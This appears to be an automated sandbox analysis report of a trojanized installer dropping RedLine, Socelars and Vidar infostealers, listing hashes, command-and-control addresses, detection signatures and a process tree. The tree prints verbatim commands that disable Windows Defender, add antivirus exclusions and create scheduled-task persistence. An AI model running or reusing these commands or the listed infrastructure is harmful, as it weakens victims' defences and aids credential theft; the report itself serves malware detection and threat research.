redline | 6d7553b09093dc8ff76acdb351b4cef88aebaa05ee58c1ecab5339d03c68a10a

Analysis

max time kernel
151s
max time network
150s
platform
windows10_x64
resource
win10-en-20211208
submitted
13/12/2021, 12:49

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
setup_x86_x64_install.exe
Size 15.7MB
Sample211213-p2cbaaegam
SHA256 6d7553b09093dc8ff76acdb351b4cef88aebaa05ee58c1ecab5339d03c68a10a
MD5 b27fe69bb086d3d1ec655302268b0bce
SHA1 4440629906728e7f10ec786883bdf244f65dcaf3
SHA512 73dd1f167f9ac67a925dd04b004b28afc933d3844d0ababa7d94d051d3fc52080f6b5051a98602684c4589626534ed7d84d9511da06dae1452832af7f4003245
MD5 SHA1 SHA512

Score

10^/10

redline socelars vidar 03.12_build_3 media12n v2user1 aspackv2 evasion infostealer spyware stealer suricata trojan

Malware Config

Extracted

Family

socelars

http://www.yarchworkshop.com/

Extracted

Family

redline

Botnet

03.12_BUILD_3

45.9.20.221:15590

Extracted

Family

redline

Botnet

media12n

65.108.69.168:13293

Extracted

Family

redline

Botnet

v2user1

159.69.246.184:13127

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4836	4128	rundll32.exe	129

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 7 IoCs

resource	yara_rule
behavioral2/memory/1164-243-0x0000000000400000-0x00000000007FA000-memory.dmp	family_redline
behavioral2/memory/2420-301-0x0000000004920000-0x000000000494C000-memory.dmp	family_redline
behavioral2/memory/2416-330-0x000000000041905A-mapping.dmp	family_redline
behavioral2/memory/2880-328-0x0000000000419062-mapping.dmp	family_redline
behavioral2/memory/2416-327-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral2/memory/2880-325-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline
behavioral2/memory/2420-297-0x0000000004890000-0x00000000048BE000-memory.dmp	family_redline

Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000500000001ab2e-271.dat	family_socelars
behavioral2/files/0x000500000001ab2e-209.dat	family_socelars

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata: ET MALWARE GCleaner Downloader Activity M5
suricata
suricata: ET MALWARE Suspicious Download Setup_ exe
suricata: ET MALWARE Suspicious Download Setup_ exe
suricata
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata: ET MALWARE Vidar/Arkei Stealer Client Data Upload
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin
suricata
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata: ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2
suricata
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

NirSoft WebBrowserPassView 2 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral2/files/0x000500000001ab24-275.dat	WebBrowserPassView
behavioral2/files/0x000500000001ab24-205.dat	WebBrowserPassView

Nirsoft 2 IoCs

resource	yara_rule
behavioral2/files/0x000500000001ab24-275.dat	Nirsoft
behavioral2/files/0x000500000001ab24-205.dat	Nirsoft

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x000600000001ab14-124.dat	aspack_v212_v242
behavioral2/files/0x000600000001ab14-125.dat	aspack_v212_v242
behavioral2/files/0x000600000001ab15-123.dat	aspack_v212_v242
behavioral2/files/0x000600000001ab15-127.dat	aspack_v212_v242
behavioral2/files/0x000500000001ab18-128.dat	aspack_v212_v242
behavioral2/files/0x000500000001ab18-131.dat	aspack_v212_v242

Downloads MZ/PE file

Executes dropped EXE 30 IoCs

pid	Process
3776	setup_installer.exe
4040	setup_install.exe
1816	Mon121e1c42a76a9.exe
796	Mon123bb1679f7999.exe
1028	Mon12815903d2.exe
2452	Mon124119e05f3.exe
3200	Mon1283097e76f.exe
1164	Mon127e70eac4fa8.exe
1144	Mon12ddd3f446.exe
952	Mon12e9146e7455e5.exe
1640	Mon12b641d2c5e11eb25.exe
3004	Mon12479b64dfa4e67.exe
2172	Mon121c379179.exe
1768	Mon12479b64dfa4e67.exe
3216	Mon1239a36a5f4.exe
756	Mon12f6ea63db.exe
844	Mon12e9146e7455e5.tmp
2212	Mon123b32ee21b8b.exe
300	Mon129da560c3590969.exe
3912	Mon12eb2e22e21bca9b.exe
1232	Mon125c8672ab6f3.exe
2876	Mon127371d1710cb.exe
2136	Mon12cbfb3c438.exe
2420	Mon12cbfb3c438.exe
2880	Mon121e1c42a76a9.exe
2416	Mon123bb1679f7999.exe
3304	mshta.exe
3600	Mon12e9146e7455e5.exe
1948	Mon12e9146e7455e5.tmp
1836	11111.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Mon127e70eac4fa8.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Mon127e70eac4fa8.exe

Loads dropped DLL 8 IoCs

pid	Process
4040	setup_install.exe
4040	setup_install.exe
4040	setup_install.exe
4040	setup_install.exe
4040	setup_install.exe
4040	setup_install.exe
844	Mon12e9146e7455e5.tmp
1948	Mon12e9146e7455e5.tmp

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Mon127e70eac4fa8.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 7 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	ip-api.com
62	ipinfo.io
63	ipinfo.io
64	ipinfo.io
285	ipinfo.io
286	ipinfo.io
291	ipinfo.io

Looks up geolocation information via web service
Uses a legitimate geolocation service to find the infected system's geolocation info.

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3004 set thread context of 1768	3004	Mon12479b64dfa4e67.exe	111
PID 2136 set thread context of 2420	2136	Mon12cbfb3c438.exe	101
PID 1816 set thread context of 2880	1816	Process not Found	102
PID 796 set thread context of 2416	796	Mon123bb1679f7999.exe	103

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4832	3812	WerFault.exe	192

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon12ddd3f446.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon12ddd3f446.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Mon12ddd3f446.exe

Creates scheduled task(s) 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
6120	schtasks.exe
6408	schtasks.exe
4212	schtasks.exe
6432	schtasks.exe

Kills process with taskkill 6 IoCs

evasion

pid	Process
4320	taskkill.exe
6128	taskkill.exe
6724	taskkill.exe
2992	taskkill.exe
4980	taskkill.exe
5112	taskkill.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3928	powershell.exe
3928	powershell.exe
1696	powershell.exe
1696	powershell.exe
1144	Mon12ddd3f446.exe
1144	Mon12ddd3f446.exe
1696	powershell.exe
3928	powershell.exe
1696	powershell.exe
3928	powershell.exe

Suspicious use of AdjustPrivilegeToken 41 IoCs

description	pid	Process
Token: SeDebugPrivilege	1816	Mon121e1c42a76a9.exe
Token: SeDebugPrivilege	796	Mon123bb1679f7999.exe
Token: SeDebugPrivilege	2212	Mon123b32ee21b8b.exe
Token: SeCreateTokenPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeAssignPrimaryTokenPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeLockMemoryPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeIncreaseQuotaPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeMachineAccountPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeTcbPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeSecurityPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeTakeOwnershipPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeLoadDriverPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeSystemProfilePrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeSystemtimePrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeProfSingleProcessPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeIncBasePriorityPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeCreatePagefilePrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeCreatePermanentPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeBackupPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeRestorePrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeShutdownPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeDebugPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeAuditPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeSystemEnvironmentPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeChangeNotifyPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeRemoteShutdownPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeUndockPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeSyncAgentPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeEnableDelegationPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeManageVolumePrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeImpersonatePrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: SeCreateGlobalPrivilege	3912	Mon12eb2e22e21bca9b.exe
Token: 31	3912	Mon12eb2e22e21bca9b.exe
Token: 32	3912	Mon12eb2e22e21bca9b.exe
Token: 33	3912	Mon12eb2e22e21bca9b.exe
Token: 34	3912	Mon12eb2e22e21bca9b.exe
Token: 35	3912	Mon12eb2e22e21bca9b.exe
Token: SeDebugPrivilege	2876	Mon127371d1710cb.exe
Token: SeDebugPrivilege	2420	Mon12cbfb3c438.exe
Token: SeDebugPrivilege	3928	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2524 wrote to memory of 3776	2524	setup_x86_x64_install.exe	69
PID 2524 wrote to memory of 3776	2524	setup_x86_x64_install.exe	69
PID 2524 wrote to memory of 3776	2524	setup_x86_x64_install.exe	69
PID 3776 wrote to memory of 4040	3776	setup_installer.exe	70
PID 3776 wrote to memory of 4040	3776	setup_installer.exe	70
PID 3776 wrote to memory of 4040	3776	setup_installer.exe	70
PID 4040 wrote to memory of 2540	4040	setup_install.exe	73
PID 4040 wrote to memory of 2540	4040	setup_install.exe	73
PID 4040 wrote to memory of 2540	4040	setup_install.exe	73
PID 4040 wrote to memory of 524	4040	setup_install.exe	74
PID 4040 wrote to memory of 524	4040	setup_install.exe	74
PID 4040 wrote to memory of 524	4040	setup_install.exe	74
PID 2540 wrote to memory of 1696	2540	cmd.exe	78
PID 2540 wrote to memory of 1696	2540	cmd.exe	78
PID 2540 wrote to memory of 1696	2540	cmd.exe	78
PID 524 wrote to memory of 3928	524	cmd.exe	77
PID 524 wrote to memory of 3928	524	cmd.exe	77
PID 524 wrote to memory of 3928	524	cmd.exe	77
PID 4040 wrote to memory of 3988	4040	setup_install.exe	75
PID 4040 wrote to memory of 3988	4040	setup_install.exe	75
PID 4040 wrote to memory of 3988	4040	setup_install.exe	75
PID 4040 wrote to memory of 3880	4040	setup_install.exe	76
PID 4040 wrote to memory of 3880	4040	setup_install.exe	76
PID 4040 wrote to memory of 3880	4040	setup_install.exe	76
PID 4040 wrote to memory of 1096	4040	setup_install.exe	79
PID 4040 wrote to memory of 1096	4040	setup_install.exe	79
PID 4040 wrote to memory of 1096	4040	setup_install.exe	79
PID 4040 wrote to memory of 3512	4040	setup_install.exe	83
PID 4040 wrote to memory of 3512	4040	setup_install.exe	83
PID 4040 wrote to memory of 3512	4040	setup_install.exe	83
PID 4040 wrote to memory of 1176	4040	setup_install.exe	80
PID 4040 wrote to memory of 1176	4040	setup_install.exe	80
PID 4040 wrote to memory of 1176	4040	setup_install.exe	80
PID 4040 wrote to memory of 1244	4040	setup_install.exe	81
PID 4040 wrote to memory of 1244	4040	setup_install.exe	81
PID 4040 wrote to memory of 1244	4040	setup_install.exe	81
PID 4040 wrote to memory of 1108	4040	setup_install.exe	82
PID 4040 wrote to memory of 1108	4040	setup_install.exe	82
PID 4040 wrote to memory of 1108	4040	setup_install.exe	82
PID 4040 wrote to memory of 2396	4040	setup_install.exe	84
PID 4040 wrote to memory of 2396	4040	setup_install.exe	84
PID 4040 wrote to memory of 2396	4040	setup_install.exe	84
PID 4040 wrote to memory of 724	4040	setup_install.exe	86
PID 4040 wrote to memory of 724	4040	setup_install.exe	86
PID 4040 wrote to memory of 724	4040	setup_install.exe	86
PID 4040 wrote to memory of 1492	4040	setup_install.exe	87
PID 4040 wrote to memory of 1492	4040	setup_install.exe	87
PID 4040 wrote to memory of 1492	4040	setup_install.exe	87
PID 3988 wrote to memory of 1816	3988	cmd.exe	89
PID 3988 wrote to memory of 1816	3988	cmd.exe	89
PID 3988 wrote to memory of 1816	3988	cmd.exe	89
PID 1096 wrote to memory of 1028	1096	cmd.exe	88
PID 1096 wrote to memory of 1028	1096	cmd.exe	88
PID 1096 wrote to memory of 1028	1096	cmd.exe	88
PID 1108 wrote to memory of 796	1108	cmd.exe	120
PID 1108 wrote to memory of 796	1108	cmd.exe	120
PID 1108 wrote to memory of 796	1108	cmd.exe	120
PID 1176 wrote to memory of 2452	1176	cmd.exe	121
PID 1176 wrote to memory of 2452	1176	cmd.exe	121
PID 1176 wrote to memory of 2452	1176	cmd.exe	121
PID 3512 wrote to memory of 3200	3512	cmd.exe	119
PID 3512 wrote to memory of 3200	3512	cmd.exe	119
PID 3512 wrote to memory of 3200	3512	cmd.exe	119
PID 3880 wrote to memory of 1164	3880	cmd.exe	85

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2524
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3776
- - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:4040
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2540
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1696
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:524
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3928
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon121e1c42a76a9.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3988
    - - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon121e1c42a76a9.exe
        
        Mon121e1c42a76a9.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1816
      - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon121e1c42a76a9.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon121e1c42a76a9.exe
        6⤵
        Executes dropped EXE
        
        PID:2880
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon127e70eac4fa8.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3880
    - - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon127e70eac4fa8.exe
        
        Mon127e70eac4fa8.exe
        5⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        
        PID:1164
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon12815903d2.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1096
    - - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12815903d2.exe
        
        Mon12815903d2.exe
        5⤵
        Executes dropped EXE
        
        PID:1028
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12815903d2.exe"
        6⤵
        
        PID:6112
      - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12815903d2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12815903d2.exe"
        6⤵
        
        PID:5900
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon124119e05f3.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1176
    - - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon124119e05f3.exe
        
        Mon124119e05f3.exe
        5⤵
        Executes dropped EXE
        
        PID:2452
      - C:\Users\Admin\Pictures\Adobe Films\f0FwOgDdY0k0GxmBpDTDxJvm.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\f0FwOgDdY0k0GxmBpDTDxJvm.exe"
        6⤵
        
        PID:956
      - C:\Users\Admin\Pictures\Adobe Films\1OiuewgX4_5wMTT5_GYTPWgq.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\1OiuewgX4_5wMTT5_GYTPWgq.exe"
        6⤵
        
        PID:5540
        
        C:\Users\Admin\Documents\inTO0LV1kV8hHg5O2iqM6xay.exe
        
        "C:\Users\Admin\Documents\inTO0LV1kV8hHg5O2iqM6xay.exe"
        7⤵
        
        PID:4492
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:4212
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:6432
      - C:\Users\Admin\Pictures\Adobe Films\5N1raWHjpeFW18gW45_Eq0ry.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\5N1raWHjpeFW18gW45_Eq0ry.exe"
        6⤵
        
        PID:5720
      - C:\Users\Admin\Pictures\Adobe Films\koMpjFp1JIZdtCCEVzIznfYG.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\koMpjFp1JIZdtCCEVzIznfYG.exe"
        6⤵
        
        PID:4260
      - C:\Users\Admin\Pictures\Adobe Films\L17917OnW3RA3jdVs1r72ZWV.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\L17917OnW3RA3jdVs1r72ZWV.exe"
        6⤵
        
        PID:4292
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        #cmd
        7⤵
        
        PID:3156
      - C:\Users\Admin\Pictures\Adobe Films\LQEX9x0eEshAYGwPqzGdiMVb.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\LQEX9x0eEshAYGwPqzGdiMVb.exe"
        6⤵
        
        PID:5772
      - C:\Users\Admin\Pictures\Adobe Films\H1D39bJW4pBSrMe9DnZfD7rt.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\H1D39bJW4pBSrMe9DnZfD7rt.exe"
        6⤵
        
        PID:6088
      - C:\Users\Admin\Pictures\Adobe Films\uGia62OR2h5g6RKhsZdaekU3.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\uGia62OR2h5g6RKhsZdaekU3.exe"
        6⤵
        
        PID:300
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        #cmd
        7⤵
        
        PID:5124
      - C:\Users\Admin\Pictures\Adobe Films\OFhXWBhuwxdG0EBwkbustx7X.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\OFhXWBhuwxdG0EBwkbustx7X.exe"
        6⤵
        
        PID:5768
      - C:\Users\Admin\Pictures\Adobe Films\J_q9OehQuW7jQS3QGcvXX5yV.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\J_q9OehQuW7jQS3QGcvXX5yV.exe"
        6⤵
        
        PID:5308
      - C:\Users\Admin\Pictures\Adobe Films\bTkcv4mMBL0aAiKq2hj9RcA3.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\bTkcv4mMBL0aAiKq2hj9RcA3.exe"
        6⤵
        
        PID:828
      - C:\Users\Admin\Pictures\Adobe Films\pmmXcWaMT9AuTv8ha1uTgZvp.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\pmmXcWaMT9AuTv8ha1uTgZvp.exe"
        6⤵
        
        PID:1384
        
        C:\Users\Admin\AppData\Local\Temp\is-KNR2A.tmp\pmmXcWaMT9AuTv8ha1uTgZvp.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-KNR2A.tmp\pmmXcWaMT9AuTv8ha1uTgZvp.tmp" /SL5="$40244,506127,422400,C:\Users\Admin\Pictures\Adobe Films\pmmXcWaMT9AuTv8ha1uTgZvp.exe"
        7⤵
        
        PID:5500
        
        C:\Users\Admin\AppData\Local\Temp\is-P4O3H.tmp\FolderShare.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-P4O3H.tmp\FolderShare.exe" /S /UID=2710
        8⤵
        
        PID:6592
      - C:\Users\Admin\Pictures\Adobe Films\jxdGEZt7Sp9l4EIBOJnUDXhs.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\jxdGEZt7Sp9l4EIBOJnUDXhs.exe"
        6⤵
        
        PID:4796
        
        C:\Users\Admin\Pictures\Adobe Films\jxdGEZt7Sp9l4EIBOJnUDXhs.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\jxdGEZt7Sp9l4EIBOJnUDXhs.exe" -u
        7⤵
        
        PID:6684
      - C:\Users\Admin\Pictures\Adobe Films\eA0sa9JWhhtnmeJQmSqZQYdp.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\eA0sa9JWhhtnmeJQmSqZQYdp.exe"
        6⤵
        
        PID:5732
      - C:\Users\Admin\Pictures\Adobe Films\FNvPVQdgzGYyU9kXPnlWAykS.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\FNvPVQdgzGYyU9kXPnlWAykS.exe"
        6⤵
        
        PID:5336
        
        C:\Users\Admin\AppData\Local\Temp\7zS314.tmp\Install.exe
        
        .\Install.exe
        7⤵
        
        PID:1816
        
        C:\Users\Admin\AppData\Local\Temp\7zS863.tmp\Install.exe
        
        .\Install.exe /S /site_id "525403"
        8⤵
        
        PID:516
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
        9⤵
        
        PID:6808
      - C:\Users\Admin\Pictures\Adobe Films\dq0IPBHAzNeDoiJhmRdXEAaW.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\dq0IPBHAzNeDoiJhmRdXEAaW.exe"
        6⤵
        
        PID:4608
      - C:\Users\Admin\Pictures\Adobe Films\R1ik1XaAWxR1wpfz6JQY95EL.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\R1ik1XaAWxR1wpfz6JQY95EL.exe"
        6⤵
        
        PID:4312
      - C:\Users\Admin\Pictures\Adobe Films\Nx62i1ZViKJKrw_tarn2_VQv.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Nx62i1ZViKJKrw_tarn2_VQv.exe"
        6⤵
        
        PID:6236
      - C:\Users\Admin\Pictures\Adobe Films\DNksK1W_RRD5a_jJYoHLsOOc.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\DNksK1W_RRD5a_jJYoHLsOOc.exe"
        6⤵
        
        PID:6596
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        #cmd
        7⤵
        
        PID:7028
      - C:\Users\Admin\Pictures\Adobe Films\HevmCdjw_SSdPmaSBNwyy7i4.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\HevmCdjw_SSdPmaSBNwyy7i4.exe"
        6⤵
        
        PID:6948
      - C:\Users\Admin\Pictures\Adobe Films\ie90bmvd39zI8Bfvg_2MTkMF.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\ie90bmvd39zI8Bfvg_2MTkMF.exe"
        6⤵
        
        PID:6204
      - C:\Users\Admin\Pictures\Adobe Films\l7YBlwMH8hC9oiwFZ9IZVIks.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\l7YBlwMH8hC9oiwFZ9IZVIks.exe"
        6⤵
        
        PID:3076
        
        C:\Users\Admin\AppData\Local\Temp\is-9LRSJ.tmp\l7YBlwMH8hC9oiwFZ9IZVIks.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-9LRSJ.tmp\l7YBlwMH8hC9oiwFZ9IZVIks.tmp" /SL5="$C036A,20342620,730624,C:\Users\Admin\Pictures\Adobe Films\l7YBlwMH8hC9oiwFZ9IZVIks.exe"
        7⤵
        
        PID:6736
      - C:\Users\Admin\Pictures\Adobe Films\7Ehi_YLMIBs_2f2BvtYaScdd.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\7Ehi_YLMIBs_2f2BvtYaScdd.exe"
        6⤵
        
        PID:4468
      - C:\Users\Admin\Pictures\Adobe Films\d49hBbq7VyFvDwq1iKYeYSOF.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\d49hBbq7VyFvDwq1iKYeYSOF.exe"
        6⤵
        
        PID:6244
        
        C:\Users\Admin\AppData\Local\Temp\7zSA8AB.tmp\Install.exe
        
        .\Install.exe
        7⤵
        
        PID:3892
        
